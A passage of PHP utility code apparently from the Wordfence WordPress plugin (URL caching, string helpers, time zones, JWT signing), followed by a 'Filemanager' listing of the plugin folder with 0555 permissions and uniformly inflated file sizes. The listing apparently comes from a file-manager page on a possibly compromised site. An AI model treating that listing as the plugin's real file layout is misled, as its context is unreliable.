		
		return $encodedString;
	}
	
	private static function _home_url_nofilter($path = '', $scheme = null) { //A version of the native get_home_url and get_option without the filter calls
		global $pagenow, $wpdb, $blog_id;
		
		static $cached_url = null;
		if ($cached_url !== null) {
			return $cached_url;
		}
		
		if (defined('WP_HOME') && WORDFENCE_PREFER_WP_HOME_FOR_WPML) {
			$cached_url = WP_HOME;
			return $cached_url;
		}
		
		if ( empty( $blog_id ) || !is_multisite() ) {
			$url = $wpdb->get_var("SELECT option_value FROM {$wpdb->options} WHERE option_name = 'home' LIMIT 1");
			if (empty($url)) { //get_option uses siteurl instead if home is empty
				$url = $wpdb->get_var("SELECT option_value FROM {$wpdb->options} WHERE option_name = 'siteurl' LIMIT 1");
			}
		}
		else if (is_multisite()) {
			$current_network = get_network();
			if ( 'relative' == $scheme )
				$url = rtrim($current_network->path, '/');
			else
				$url = 'http://' . rtrim($current_network->domain, '/') . '/' . trim($current_network->path, '/');
		}
		
		if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) {
			if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow )
				$scheme = 'https';
			else
				$scheme = parse_url( $url, PHP_URL_SCHEME );
		}
		
		$url = set_url_scheme( $url, $scheme );
		
		if ( $path && is_string( $path ) )
			$url .= '/' . ltrim( $path, '/' );
		
		$cached_url = $url;
		return $url;
	}
	
	public static function refreshCachedHomeURL() {
		$pullDirectly = class_exists('WPML_URL_Filters');
		$homeurl = '';
		if ($pullDirectly) {
			//A version of the native get_home_url without the filter call
			$homeurl = self::_home_url_nofilter();
		}
		
		if (function_exists('get_bloginfo') && empty($homeurl)) {
			if (is_multisite()) {
				$homeurl = network_home_url();
			}
			else {
				$homeurl = home_url();
			}
			
			$homeurl = rtrim($homeurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char.
		}
		
		if (wfConfig::get('wp_home_url') !== $homeurl) {
			wfConfig::set('wp_home_url', $homeurl);
		}
	}
	
	public static function wpHomeURL($path = '', $scheme = null) {
		$homeurl = wfConfig::get('wp_home_url', '');
		if (function_exists('get_bloginfo') && empty($homeurl)) {
			if (is_multisite()) {
				$homeurl = network_home_url($path, $scheme);
			}
			else {
				$homeurl = home_url($path, $scheme);
			}
			
			$homeurl = rtrim($homeurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char.
		}
		else {
			$homeurl = set_url_scheme($homeurl, $scheme);
			if ($path && is_string($path)) {
				$homeurl .= '/' . ltrim($path, '/');
			}
		}
		return $homeurl;
	}
	
	private static function _site_url_nofilter($path = '', $scheme = null) { //A version of the native get_site_url and get_option without the filter calls
		global $pagenow, $wpdb, $blog_id;
		
		static $cached_url = null;
		if ($cached_url !== null) {
			return $cached_url;
		}
		
		if (defined('WP_SITEURL') && WORDFENCE_PREFER_WP_HOME_FOR_WPML) {
			$cached_url = WP_SITEURL;
			return $cached_url;
		}
		
		if ( empty( $blog_id ) || !is_multisite() ) {
			$url = $wpdb->get_var("SELECT option_value FROM {$wpdb->options} WHERE option_name = 'siteurl' LIMIT 1");
		}
		else if (is_multisite()) {
			$current_network = get_network();
			if ( 'relative' == $scheme )
				$url = rtrim($current_network->path, '/');
			else
				$url = 'http://' . rtrim($current_network->domain, '/') . '/' . trim($current_network->path, '/');
		}
		
		if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) {
			if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow )
				$scheme = 'https';
			else
				$scheme = parse_url( $url, PHP_URL_SCHEME );
		}
		
		$url = set_url_scheme( $url, $scheme );
		
		if ( $path && is_string( $path ) )
			$url .= '/' . ltrim( $path, '/' );
		
		$cached_url = $url;
		return $url;
	}
	
	public static function refreshCachedSiteURL() {
		$pullDirectly = class_exists('WPML_URL_Filters');
		$siteurl = '';
		if ($pullDirectly) {
			//A version of the native get_home_url without the filter call
			$siteurl = self::_site_url_nofilter();
		}
		
		if (function_exists('get_bloginfo') && empty($siteurl)) {
			if (is_multisite()) {
				$siteurl = network_site_url();
			}
			else {
				$siteurl = site_url();
			}
			
			$siteurl = rtrim($siteurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char.
		}
		
		if (wfConfig::get('wp_site_url') !== $siteurl) {
			wfConfig::set('wp_site_url', $siteurl);
		}
	}
	
	/**
	 * Equivalent to network_site_url but uses the cached value for the URL if we have it
	 * to avoid breaking on sites that define it based on the requesting hostname.
	 * 
	 * @param string $path
	 * @param null|string $scheme
	 * @return string
	 */
	public static function wpSiteURL($path = '', $scheme = null) {
		$siteurl = wfConfig::get('wp_site_url', '');
		if (function_exists('get_bloginfo') && empty($siteurl)) {
			if (is_multisite()) {
				$siteurl = network_site_url($path, $scheme);
			}
			else {
				$siteurl = site_url($path, $scheme);
			}
			
			$siteurl = rtrim($siteurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char.
		}
		else {
			$siteurl = set_url_scheme($siteurl, $scheme);
			if ($path && is_string($path)) {
				$siteurl .= '/' . ltrim($path, '/');
			}
		}
		return $siteurl;
	}
	
	/**
	 * Equivalent to network_admin_url but uses the cached value for the URL if we have it
	 * to avoid breaking on sites that define it based on the requesting hostname.
	 *
	 * @param string $path
	 * @param null|string $scheme
	 * @return string
	 */
	public static function wpAdminURL($path = '', $scheme = null) {
		if (!is_multisite()) {
			$adminURL = self::wpSiteURL('wp-admin/', $scheme);
		}
		else {
			$adminURL = self::wpSiteURL('wp-admin/network/', $scheme);
		}
		
		if ($path && is_string($path)) {
			$adminURL .= ltrim($path, '/');
		}
		
		if (!is_multisite()) {
			return apply_filters('admin_url', $adminURL, $path, null);
		}
		
		return apply_filters('network_admin_url', $adminURL, $path);
	}
	
	public static function wafInstallationType() {
		$storage = 'file';
		if (defined('WFWAF_STORAGE_ENGINE')) { $storage = WFWAF_STORAGE_ENGINE; }
		
		try {
			$status = (defined('WFWAF_ENABLED') && !WFWAF_ENABLED) ? 'disabled' : wfWaf::getInstance()->getStorageEngine()->getConfig('wafStatus');
			if (defined('WFWAF_ENABLED') && !WFWAF_ENABLED) {
				return "{$status}|const|{$storage}";
			}
			else if (defined('WFWAF_SUBDIRECTORY_INSTALL') && WFWAF_SUBDIRECTORY_INSTALL) {
				return "{$status}|subdir|{$storage}";
			}
			else if (defined('WFWAF_AUTO_PREPEND') && WFWAF_AUTO_PREPEND) {
				return "{$status}|extended|{$storage}";
			}
			
			return "{$status}|basic|{$storage}";
		}
		catch (Exception $e) {
			//Do nothing
		}
		
		return 'unknown';
	}
	
	public static function hex2bin($string) { //Polyfill for PHP < 5.4
		if (!is_string($string)) { return false; }
		if (strlen($string) % 2 == 1) { return false; }
		return pack('H*', $string);
	}
	
	/**
	 * Returns whether or not the site should be treated as if it's full-time SSL.
	 * 
	 * @return bool
	 */
	public static function isFullSSL() {
		return is_ssl() && parse_url(self::wpHomeURL(), PHP_URL_SCHEME) === 'https'; //It's possible for only wp-admin to be SSL so we check the home URL too
	}

	/**
	 * Identical to the same functions in wfWAFUtils.
	 * 
	 * Set the mbstring internal encoding to a binary safe encoding when func_overload
	 * is enabled.
	 *
	 * When mbstring.func_overload is in use for multi-byte encodings, the results from
	 * strlen() and similar functions respect the utf8 characters, causing binary data
	 * to return incorrect lengths.
	 *
	 * This function overrides the mbstring encoding to a binary-safe encoding, and
	 * resets it to the users expected encoding afterwards through the
	 * `reset_mbstring_encoding` function.
	 *
	 * It is safe to recursively call this function, however each
	 * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
	 * of `reset_mbstring_encoding()` calls.
	 *
	 * @see wfWAFUtils::reset_mbstring_encoding
	 *
	 * @staticvar array $encodings
	 * @staticvar bool  $overloaded
	 *
	 * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
	 *                    Default false.
	 */
	public static function mbstring_binary_safe_encoding($reset = false) {
		static $encodings = array();
		static $overloaded = null;
		
		if (is_null($overloaded)) {
			// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			$overloaded = function_exists('mb_internal_encoding') && (ini_get('mbstring.func_overload') & 2);
		}
		
		if (false === $overloaded) { return; }
		
		if (!$reset) {
			$encoding = mb_internal_encoding();
			array_push($encodings, $encoding);
			mb_internal_encoding('ISO-8859-1');
		}
		
		if ($reset && $encodings) {
			$encoding = array_pop($encodings);
			mb_internal_encoding($encoding);
		}
	}
	
	/**
	 * Reset the mbstring internal encoding to a users previously set encoding.
	 *
	 * @see wfWAFUtils::mbstring_binary_safe_encoding
	 */
	public static function reset_mbstring_encoding() {
		self::mbstring_binary_safe_encoding(true);
	}
	
	/**
	 * @param callable $function
	 * @param array $args
	 * @return mixed
	 */
	protected static function callMBSafeStrFunction($function, $args) {
		self::mbstring_binary_safe_encoding();
		$return = call_user_func_array($function, $args);
		self::reset_mbstring_encoding();
		return $return;
	}
	
	/**
	 * Multibyte safe strlen.
	 *
	 * @param $binary
	 * @return int
	 */
	public static function strlen($binary) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strlen', $args);
	}
	
	/**
	 * @param $haystack
	 * @param $needle
	 * @param int $offset
	 * @return int
	 */
	public static function stripos($haystack, $needle, $offset = 0) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('stripos', $args);
	}
	
	/**
	 * @param $string
	 * @return mixed
	 */
	public static function strtolower($string) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strtolower', $args);
	}
	
	/**
	 * @param $string
	 * @param $start
	 * @param $length
	 * @return mixed
	 */
	public static function substr($string, $start, $length = null) {
		if ($length === null) { $length = self::strlen($string); }
		return self::callMBSafeStrFunction('substr', array(
			$string, $start, $length
		));
	}
	
	/**
	 * @param $haystack
	 * @param $needle
	 * @param int $offset
	 * @return mixed
	 */
	public static function strpos($haystack, $needle, $offset = 0) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strpos', $args);
	}
	
	/**
	 * @param string $haystack
	 * @param string $needle
	 * @param int $offset
	 * @param int $length
	 * @return mixed
	 */
	public static function substr_count($haystack, $needle, $offset = 0, $length = null) {
		if ($length === null) { $length = self::strlen($haystack); }
		return self::callMBSafeStrFunction('substr_count', array(
			$haystack, $needle, $offset, $length
		));
	}
	
	/**
	 * @param $string
	 * @return mixed
	 */
	public static function strtoupper($string) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strtoupper', $args);
	}
	
	/**
	 * @param string $haystack
	 * @param string $needle
	 * @param int $offset
	 * @return mixed
	 */
	public static function strrpos($haystack, $needle, $offset = 0) {
		$args = func_get_args();
		return self::callMBSafeStrFunction('strrpos', $args);
	}
	
	public static function sets_equal($a1, $a2) {
		if (!is_array($a1) || !is_array($a2)) {
			return false;
		}
		
		if (count($a1) != count($a2)) {
			return false;
		}
		
		sort($a1, SORT_NUMERIC);
		sort($a2, SORT_NUMERIC);
		return $a1 == $a2;
	}
	
	public static function array_first($array) {
		if (empty($array)) {
			return null;
		}
		
		$values = array_values($array);
		return $values[0];
	}
	
	public static function array_last($array) {
		if (empty($array)) {
			return null;
		}
		
		$values = array_values($array);
		return $values[count($values) - 1];
	}
	
	public static function array_strtolower($array) {
		$result = array();
		foreach ($array as $a) {
			$result[] = strtolower($a);
		}
		return $result;
	}
	
	public static function array_column($input = null, $columnKey = null, $indexKey = null) { //Polyfill from https://github.com/ramsey/array_column/blob/master/src/array_column.php
		$argc = func_num_args();
		$params = func_get_args();
		if ($argc < 2) {
			trigger_error("array_column() expects at least 2 parameters, {$argc} given", E_USER_WARNING);
			return null;
		}
		
		if (!is_array($params[0])) {
			trigger_error(
				'array_column() expects parameter 1 to be array, ' . gettype($params[0]) . ' given',
				E_USER_WARNING
			);
			return null;
		}
		
		if (!is_int($params[1]) && !is_float($params[1]) && !is_string($params[1]) && $params[1] !== null && !(is_object($params[1]) && method_exists($params[1], '__toString'))) {
			trigger_error('array_column(): The column key should be either a string or an integer', E_USER_WARNING);
			return false;
		}
		
		if (isset($params[2]) && !is_int($params[2]) && !is_float($params[2]) && !is_string($params[2]) && !(is_object($params[2]) && method_exists($params[2], '__toString'))) {
			trigger_error('array_column(): The index key should be either a string or an integer', E_USER_WARNING);
			return false;
		}
		
		$paramsInput = $params[0];
		$paramsColumnKey = ($params[1] !== null) ? (string) $params[1] : null;
		$paramsIndexKey = null;
		if (isset($params[2])) {
			if (is_float($params[2]) || is_int($params[2])) {
				$paramsIndexKey = (int) $params[2];
			}
			else {
				$paramsIndexKey = (string) $params[2];
			}
		}
		
		$resultArray = array();
		foreach ($paramsInput as $row) {
			$key = $value = null;
			$keySet = $valueSet = false;
			if ($paramsIndexKey !== null && array_key_exists($paramsIndexKey, $row)) {
				$keySet = true;
				$key = (string) $row[$paramsIndexKey];
			}
			
			if ($paramsColumnKey === null) {
				$valueSet = true;
				$value = $row;
			}
			elseif (is_array($row) && array_key_exists($paramsColumnKey, $row)) {
				$valueSet = true;
				$value = $row[$paramsColumnKey];
			}
			
			if ($valueSet) {
				if ($keySet) {
					$resultArray[$key] = $value;
				}
				else {
					$resultArray[] = $value;
				}
			}
		}
		
		return $resultArray;
	}
	
	/**
	 * Returns $string if it isn't empty, $ifEmpty if it is.
	 * 
	 * @param string $string
	 * @param string $ifEmpty
	 * @return string
	 */
	public static function string_empty($string, $ifEmpty) {
		if (empty($string)) {
			return $ifEmpty;
		}
		return $string;
	}
	
	/**
	 * Returns the current timestamp, adjusted as needed to get close to what we consider a true timestamp. We use this
	 * because a significant number of servers are using a drastically incorrect time.
	 *
	 * @return int
	 */
	public static function normalizedTime($base = false) {
		if ($base === false) {
			$base = time();
		}
		
		$offset = (int) wfConfig::get('timeoffset_wf', 0);
		return $base + $offset;
	}
	
	/**
	 * Returns what we consider a true timestamp, adjusted as needed to match the local server's drift. We use this
	 * because a significant number of servers are using a drastically incorrect time.
	 *
	 * @return int
	 */
	public static function denormalizedTime($base) {
		$offset = (int) wfConfig::get('timeoffset_wf', 0);
		return $base - $offset;
	}
	
	/**
	 * Returns the number of minutes for the time zone offset from UTC. If $timestamp and using a named time zone, 
	 * it will be adjusted automatically to match whether or not the server's time zone is in Daylight Savings Time.
	 * 
	 * @param bool|int $timestamp Assumed to be in UTC. If false, defaults to the current timestamp.
	 * @return int
	 */
	public static function timeZoneMinutes($timestamp = false) {
		if ($timestamp === false) {
			$timestamp = time();
		}
		
		$tz = get_option('timezone_string');
		if (!empty($tz)) {
			$timezone = new DateTimeZone($tz);
			$dtStr = gmdate("c", (int) $timestamp); //Have to do it this way because of PHP 5.2
			$dt = new DateTime($dtStr, $timezone);
			return (int) ($timezone->getOffset($dt) / 60);
		}
		else {
			$gmt = get_option('gmt_offset');
			if (!empty($gmt)) {
				return (int) ($gmt * 60);
			}
		}
		
		return 0;
	}
	
	/**
	 * Formats and returns the given timestamp using the time zone set for the WordPress installation.
	 * 
	 * @param string $format See the PHP docs on DateTime for the format options. 
	 * @param int|bool $timestamp Assumed to be in UTC. If false, defaults to the current timestamp.
	 * @return string
	 */
	public static function formatLocalTime($format, $timestamp = false) {
		if ($timestamp === false) {
			$timestamp = time();
		}
		
		$utc = new DateTimeZone('UTC');
		$dtStr = gmdate("c", (int) $timestamp); //Have to do it this way because of PHP 5.2
		$dt = new DateTime($dtStr, $utc);
		$tz = get_option('timezone_string');
		if (!empty($tz)) {
			$dt->setTimezone(new DateTimeZone($tz));
		}
		else {
			$gmt = get_option('gmt_offset');
			if (!empty($gmt)) {
				if (PHP_VERSION_ID < 50510) {
					$dtStr = gmdate("c", (int) ($timestamp + $gmt * 3600)); //Have to do it this way because of < PHP 5.5.10
					$dt = new DateTime($dtStr, $utc);
				}
				else {
					$direction = ($gmt > 0 ? '+' : '-');
					$gmt = abs($gmt);
					$h = (int) $gmt;
					$m = ($gmt - $h) * 60;
					$dt->setTimezone(new DateTimeZone($direction . str_pad($h, 2, '0', STR_PAD_LEFT) . str_pad($m, 2, '0', STR_PAD_LEFT)));
				}
			}
		}
		return $dt->format($format);
	}
	
	/**
	 * Parses the given time string and returns its DateTime with the server's configured time zone.
	 * 
	 * @param string $timestring
	 * @return DateTime
	 */
	public static function parseLocalTime($timestring) {
		$utc = new DateTimeZone('UTC');
		$tz = get_option('timezone_string');
		if (!empty($tz)) {
			$tz = new DateTimeZone($tz);
			return new DateTime($timestring, $tz);
		}
		else {
			$gmt = get_option('gmt_offset');
			if (!empty($gmt)) {
				if (PHP_VERSION_ID < 50510) {
					$timestamp = strtotime($timestring);
					$dtStr = gmdate("c", (int) ($timestamp + $gmt * 3600)); //Have to do it this way because of < PHP 5.5.10
					return new DateTime($dtStr, $utc);
				}
				else {
					$direction = ($gmt > 0 ? '+' : '-');
					$gmt = abs($gmt);
					$h = (int) $gmt;
					$m = ($gmt - $h) * 60;
					$tz = new DateTimeZone($direction . str_pad($h, 2, '0', STR_PAD_LEFT) . str_pad($m, 2, '0', STR_PAD_LEFT));
					return new DateTime($timestring, $tz);
				}
			}
		}
		return new DateTime($timestring);
	}
	
	/**
	 * Base64URL-encodes the given payload. This is identical to base64_encode except it substitutes characters
	 * not safe for use in URLs.
	 * 
	 * @param string $payload
	 * @return string
	 */
	public static function base64url_encode($payload) {
		$intermediate = base64_encode($payload);
		$intermediate = rtrim($intermediate, '=');
		$intermediate = str_replace('+', '-', $intermediate);
		$intermediate = str_replace('/', '_', $intermediate);
		return $intermediate;
	}
	
	/**
	 * Base64URL-decodes the given payload. This is identical to base64_encode except it allows for the characters
	 * substituted by base64url_encode.
	 * 
	 * @param string $payload
	 * @return string
	 */
	public static function base64url_decode($payload) {
		$intermediate = str_replace('_', '/', $payload);
		$intermediate = str_replace('-', '+', $intermediate);
		$intermediate = base64_decode($intermediate);
		return $intermediate;
	}
	
	/**
	 * Returns a signed JWT for the given payload. Payload is expected to be an array suitable for JSON-encoding.
	 * 
	 * @param array $payload
	 * @param int $maxAge How long the JWT will be considered valid.
	 * @return string
	 */
	public static function generateJWT($payload, $maxAge = 604800 /* 7 days */) {
		$payload['_exp'] = time() + $maxAge;
		$key = wfConfig::get('longEncKey');
		$header = '{"alg":"HS256","typ":"JWT"}';
		$body = self::base64url_encode($header) . '.' . self::base64url_encode(json_encode($payload));
		$signature = hash_hmac('sha256', $body, $key, true);
		return $body . '.' . self::base64url_encode($signature);
	}
	
	/**
	 * Decodes and returns the payload of a JWT. This also validates the signature.
	 * 
	 * @param string $token
	 * @return array|bool The decoded payload or false if the token is invalid or fails validation.
	 */
	public static function decodeJWT($token) {
		$components = explode('.', $token);
		if (count($components) != 3) {
			return false;
		}
		
		$key = wfConfig::get('longEncKey');
		$body = $components[0] . '.' . $components[1];
		$signature = hash_hmac('sha256', $body, $key, true);
		$testSignature = self::base64url_decode($components[2]);
		if (!hash_equals($signature, $testSignature)) {
			return false;
		}
		
		$json = self::base64url_decode($components[1]);
		$payload = @json_decode($json, true);
		if (!is_array($payload) || (isset($payload['_exp']) && $payload['_exp'] < time())) {
			return false;
		}
		return $payload;
	}

	/**
	 * Split a path into its components
	 * @param string $path
	 */
	public static function splitPath($path) {
		return preg_split('/[\\/\\\\]/', $path, -1, PREG_SPLIT_NO_EMPTY);
	}

	/**
	 * Convert an absolute path to a path relative to $to
	 * @param string $absolute the absolute path to convert
	 * @param string $to the absolute path from which to derive the relative path
	 * @param bool $leadingSlash if true, prepend the resultant URL with a slash
	 */
	public static function relativePath($absolute, $to, $leadingSlash = false) {
		$trailingSlash = in_array(substr($absolute, -1), array('/', '\\'));
		$absoluteComponents = self::splitPath($absolute);
		$toComponents = self::splitPath($to);
		$relativeComponents = array();
		do {
			$currentAbsolute = array_shift($absoluteComponents);
			$currentTo = array_shift($toComponents);
		} while($currentAbsolute === $currentTo && $currentAbsolute !== null);
		while ($currentTo !== null) {
			array_push($relativeComponents, '..');
			$currentTo = array_shift($toComponents);
		}
		while ($currentAbsolute !== null) {
			array_push($relativeComponents, $currentAbsolute);
			$currentAbsolute = array_shift($absoluteComponents);
		}
		return implode(array(
			$leadingSlash ? '/' : '',
			implode('/', $relativeComponents),
			($trailingSlash && (count($relativeComponents) > 0 || !$leadingSlash)) ? '/' : ''
		));
	}

	/**
	 * Determine the effective port given the output of parse_url
	 * @param array $urlComponents
	 * @return int the resolved port number
	 */
	private static function resolvePort($urlComponents) {
		if (array_key_exists('port', $urlComponents) && !empty($urlComponents['port'])) {
			return $urlComponents['port'];
		}
		if (array_key_exists('scheme', $urlComponents) && $urlComponents['scheme'] === 'https') {
			return 443;
		}
		return 80;
	}

	/**
	 * Check if two site URLs identify the same site
	 * @param string $a first url
	 * @param string $b second url
	 * @param array $ignoredSubdomains An array of subdomains to ignore when matching (e.g., www)
	 * @return bool true if the URLs match, false otherwise
	 */
	public static function compareSiteUrls($a, $b, $ignoredSubdomains = array()) {
		$patterns = array_map(function($p) { return '/^' . preg_quote($p, '/') . '\\./i'; }, $ignoredSubdomains);
		
		$componentsA = parse_url($a);
		if (isset($componentsA['host'])) { $componentsA['host'] = preg_replace($patterns, '', $componentsA['host']); }
		$componentsB = parse_url($b);
		if (isset($componentsB['host'])) { $componentsB['host'] = preg_replace($patterns, '', $componentsB['host']); }
		foreach (array('host', 'port', 'path') as $component) {
			$valueA = array_key_exists($component, $componentsA) ? $componentsA[$component] : null;
			$valueB = array_key_exists($component, $componentsB) ? $componentsB[$component] : null;
			if ($valueA !== $valueB) {
				if ($component === 'port') {
					$portA = self::resolvePort($componentsA);
					$portB = self::resolvePort($componentsB);
					if ($portA !== $portB)
						return false;
				}
				else {
					return false;
				}
			}
		}
		return true;
	}

	public static function getHomePath() {
		if (!function_exists('get_home_path')) {
			include_once(ABSPATH . 'wp-admin/includes/file.php');
		}
		if (WF_IS_FLYWHEEL)
			return trailingslashit($_SERVER['DOCUMENT_ROOT']);
		return get_home_path();
	}

	public static function includeOnceIfPresent($path) {
		if (file_exists($path) && is_readable($path)) {
			@include_once($path);
			return @include_once($path); //Calling `include_once` for an already included file will return true
		}
		return false;
	}

	public static function isCurlSupported() {
		if (self::includeOnceIfPresent(ABSPATH . 'wp-includes/class-wp-http-curl.php'))
			return WP_Http_Curl::test();
		return false;
	}

	private static function isValidJsonValue($value) {
		return json_encode($value) !== false;
	}

	private static function filterInvalidJsonValues($data, &$modified, &$valid = null) {
		if (is_array($data)) {
			$modified = array();
			$filtered = array();
			$valid = true;
			foreach ($data as $key => $value) {
				$value = self::filterInvalidJsonValues($value, $itemModified, $itemValid);
				if (($itemValid || $itemModified) && self::isValidJsonValue(array($key => $value))) {
					$filtered[$key] = $value;
					if ($itemModified)
						$modified[$key] = $itemModified;
				}
				else {
					$valid = false;
				}
			}
			return $filtered;
		}
		else {
			$modified = false;
			$valid = self::isValidJsonValue($data);
			if ($valid) {
				return $data;
			}
			else if (is_string($data)) {
				$modified = true;
				return base64_encode($data);
			}
			else {
				return null;
			}
		}
	}

	public static function jsonEncodeSafely($data) {
		$encoded = json_encode($data);
		if ($encoded === false) {
			$data = self::filterInvalidJsonValues($data, $modified);
			if ($modified)
				$data['__modified__'] = $modified;
			$encoded = json_encode($data);
		}
		return $encoded;
	}
	
	/**
	 * Convenience function to extract a matched pattern from a string. If $pattern has no matching groups, the entire
	 * matched portion is returned. If it has at least one matching group, the first one is returned (others are 
	 * ignored). If there is no match, false is returned.
	 * 
	 * @param string $pattern
	 * @param string $subject
	 * @param bool $expandToLine Whether or not to expand the captured value to include the entire line's contents
	 * @return false|string
	 */
	public static function pregExtract($pattern, $subject, $expandToLine = false) {
		if (preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE)) {
			if (count($matches) > 1) {
				$start = $matches[1][1];
				$text = $matches[1][0];
				$end = $start + strlen($text);
			}
			else {
				$start = $matches[0][1];
				$text = $matches[0][0];
				$end = $start + strlen($text);
			}
			
			if ($expandToLine) {
				if (preg_match_all('/[\r\n]/', substr($subject, 0, $start), $matches, PREG_OFFSET_CAPTURE)) {
					$start = $matches[0][count($matches[0]) - 1][1] + 1;
				}
				else {
					$start = 0;
				}
				
				if (preg_match('/[\r\n]/', $subject, $matches, PREG_OFFSET_CAPTURE, $end)) {
					$end = $matches[0][1];
				}
				else {
					$end = strlen($subject) - 0;
				}
				
				$text = substr($subject, $start, $end - $start);
			}
			
			return $text;
		}
		return false;
	}
	
	/**
	 * Returns whether or not MySQLi should be used directly when needed. Returns true if there's a valid DB handle,
	 * our database test succeeded, our constant is not set to prevent it, and then either $wpdb indicates it's using
	 * mysqli (older WordPress versions) or we're on PHP 7+ (only mysqli is ever used).
	 * 
	 * @return bool
	 */
	public static function useMySQLi() {
		global $wpdb;
		$dbh = $wpdb->dbh;
		$useMySQLi = (is_object($dbh) && (PHP_MAJOR_VERSION >= 7 || $wpdb->use_mysqli) && wfConfig::get('allowMySQLi', true) && WORDFENCE_ALLOW_DIRECT_MYSQLI);
		return $useMySQLi;
	}
}

// GeoIP lib uses these as well
if (!function_exists('inet_ntop')) {
	function inet_ntop($ip) {
		return wfUtils::_inet_ntop($ip);
	}
}
if (!function_exists('inet_pton')) {
	function inet_pton($ip) {
		return wfUtils::_inet_pton($ip);
	}
}


class wfWebServerInfo {

	const APACHE = 1;
	const NGINX = 2;
	const LITESPEED = 4;
	const IIS = 8;

	private $handler;
	private $software;
	private $softwareName;

	/**
	 *
	 */
	public static function createFromEnvironment() {
		$serverInfo = new self;
		$sapi = php_sapi_name();
		if (WF_IS_FLYWHEEL) {
			$serverInfo->setSoftware(self::NGINX);
			$serverInfo->setSoftwareName('Flywheel');
		}
		else if (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false) {
			$serverInfo->setSoftware(self::IIS);
			$serverInfo->setSoftwareName('iis');
		}
		else if (strpos($_SERVER['SERVER_SOFTWARE'], 'nginx') !== false) {
			$serverInfo->setSoftware(self::NGINX);
			$serverInfo->setSoftwareName('nginx');
		}
		else if (stripos($_SERVER['SERVER_SOFTWARE'], 'litespeed') !== false || $sapi == 'litespeed') {
			$serverInfo->setSoftware(self::LITESPEED);
			$serverInfo->setSoftwareName('litespeed');
		}
		else if (stripos($_SERVER['SERVER_SOFTWARE'], 'apache') !== false) {
			$serverInfo->setSoftware(self::APACHE);
			$serverInfo->setSoftwareName('apache');
		}

		$serverInfo->setHandler($sapi);

		return $serverInfo;
	}

	/**
	 * @return bool
	 */
	public function isApache() {
		return $this->getSoftware() === self::APACHE;
	}

	/**
	 * @return bool
	 */
	public function isNGINX() {
		return $this->getSoftware() === self::NGINX;
	}

	/**
	 * @return bool
	 */
	public function isLiteSpeed() {
		return $this->getSoftware() === self::LITESPEED;
	}

	/**
	 * @return bool
	 */
	public function isIIS() {
		return $this->getSoftware() === self::IIS;
	}

	/**
	 * @return bool
	 */
	public function isApacheModPHP() {
		return $this->isApache() && function_exists('apache_get_modules');
	}

	/**
	 * Not sure if this can be implemented at the PHP level.
	 * @return bool
	 */
	public function isApacheSuPHP() {
		return $this->isApache() && $this->isCGI() &&
			function_exists('posix_getuid') &&
			getmyuid() === posix_getuid();
	}

	/**
	 * @return bool
	 */
	public function isCGI() {
		return !$this->isFastCGI() && stripos($this->getHandler(), 'cgi') !== false;
	}

	/**
	 * @return bool
	 */
	public function isFastCGI() {
		return stripos($this->getHandler(), 'fastcgi') !== false || stripos($this->getHandler(), 'fpm-fcgi') !== false;
	}

	/**
	 * @return mixed
	 */
	public function getHandler() {
		return $this->handler;
	}

	/**
	 * @param mixed $handler
	 */
	public function setHandler($handler) {
		$this->handler = $handler;
	}

	/**
	 * @return mixed
	 */
	public function getSoftware() {
		return $this->software;
	}

	/**
	 * @param mixed $software
	 */
	public function setSoftware($software) {
		$this->software = $software;
	}

	/**
	 * @return mixed
	 */
	public function getSoftwareName() {
		return $this->softwareName;
	}

	/**
	 * @param mixed $softwareName
	 */
	public function setSoftwareName($softwareName) {
		$this->softwareName = $softwareName;
	}
}

Filemanager

Name Type Size Permission Actions
Diff Folder 0555
audit-log Folder 0555
dashboard Folder 0555
rest-api Folder 0555
Diff.php File 21.63 KB 0555
GeoLite2-Country.mmdb File 7.46 MB 0644
IPTraf.php File 17.17 KB 0555
IPTrafList.php File 18.99 KB 0555
WFLSPHP52Compatability.php File 17.28 KB 0555
compat.php File 16.42 KB 0555
diffResult.php File 18.81 KB 0555
email_genericAlert.php File 17.39 KB 0555
email_newIssues.php File 24.83 KB 0555
email_unlockRequest.php File 18.35 KB 0555
email_unsubscribeRequest.php File 17.06 KB 0555
flags.php File 22.63 KB 0555
live_activity.php File 16.57 KB 0555
menu_dashboard.php File 44 KB 0555
menu_dashboard_options.php File 31.22 KB 0555
menu_firewall.php File 18.12 KB 0555
menu_firewall_blocking.php File 26.25 KB 0555
menu_firewall_blocking_options.php File 20.63 KB 0555
menu_firewall_waf.php File 35.97 KB 0555
menu_firewall_waf_options.php File 27.1 KB 0555
menu_install.php File 17.73 KB 0555
menu_options.php File 40.7 KB 0555
menu_scanner.php File 37.54 KB 0555
menu_scanner_credentials.php File 18.78 KB 0555
menu_scanner_options.php File 24.42 KB 0555
menu_support.php File 33.82 KB 0555
menu_tools.php File 17.5 KB 0555
menu_tools_auditlog.php File 32.44 KB 0555
menu_tools_diagnostic.php File 65.3 KB 0555
menu_tools_importExport.php File 17.28 KB 0555
menu_tools_livetraffic.php File 55.44 KB 0555
menu_tools_twoFactor.php File 35.6 KB 0555
menu_tools_whois.php File 20.62 KB 0555
menu_wordfence_central.php File 25.66 KB 0555
noc1.key File 1.64 KB 0644
sodium_compat_fast.php File 16.19 KB 0555
sysinfo.php File 17.47 KB 0555
viewFullActivityLog.php File 17.47 KB 0555
wf503.php File 25.63 KB 0555
wfAPI.php File 25.73 KB 0555
wfActivityReport.php File 36.46 KB 0555
